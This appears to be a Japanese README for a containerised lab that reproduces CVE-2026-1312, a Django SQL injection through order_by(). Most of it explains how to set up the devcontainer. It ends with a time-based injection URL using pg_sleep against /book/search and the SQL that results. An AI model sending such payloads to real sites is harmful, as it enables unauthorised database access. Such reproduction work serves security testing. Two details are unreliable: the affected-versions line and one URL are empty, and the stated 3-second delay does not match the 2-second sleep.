
CVE-2026-1312(Django SQLインジェクションの脆弱性)を、Docker化された環境とステップバイステップのPoCを用いて再現し、セキュリティテストを実施します。
CVE-2026-1312 は、危険度の高い Django SQL インジェクションの脆弱性です。QuerySet.order_by() でドットを含む列エイリアスを使用し、FilteredRelation と組み合わせて辞書展開により動的にクエリを構築する際、攻撃者によって悪意のある SQL が注入される可能性があります。
影響を受けるバージョン:
この脆弱性プロジェクトは、vscode の devcontainer を使用して構築されています。
1️⃣ プロジェクトを開く VS Code で既存のプロジェクトのルートディレクトリ(.devcontainer フォルダを含む)を開きます。
2️⃣ コンテナを再度開く(Dev Container の構築)
Ctrl+Shift+P(Windows/Linux)または Cmd+Shift+P(Mac)を押します。
Remote-Containers: Reopen in Container と入力します。
VS Code は .devcontainer 設定を読み取り、コンテナを構築します(初回の構築には数分かかる場合があります)。
⚠️ Dockerfile または依存関係が更新されている場合は、Remote-Containers: Rebuild Container を選択して、最新の環境を使用していることを確認してください。
3️⃣ Django 開発サーバーを実行する
コマンドパレットを開く(Ctrl+Shift+P)
Tasks: Run Task と入力します。
django:start を選択します(タスクは .vscode/tasks.json で設定済み)。
このタスクはコンテナ内で Django 開発サーバーを起動します。
デフォルトでは 0.0.0.0:8086 をリッスンします。
4️⃣ ブラウザを開いてプロジェクトにアクセスする
ブラウザを開いてアクセスします:
5️⃣ 注意事項
初回実行時:
データベースのマイグレーションを実行する必要がある場合があります:
python manage.py migrate
/book/search インターフェースにアクセスします。http://localhost:8086/book/search?name=vuln_book.id,pg_sleep(2)
3秒の遅延が成功することを確認できます。
このとき、django orm の内部でコンパイルされた SQL は次のようになります。
SELECT "vuln_book"."id", "vuln_book"."title", "vuln_book"."author_id" FROM "vuln_book" ORDER BY ("vuln_book".id,pg_sleep(2)) ASC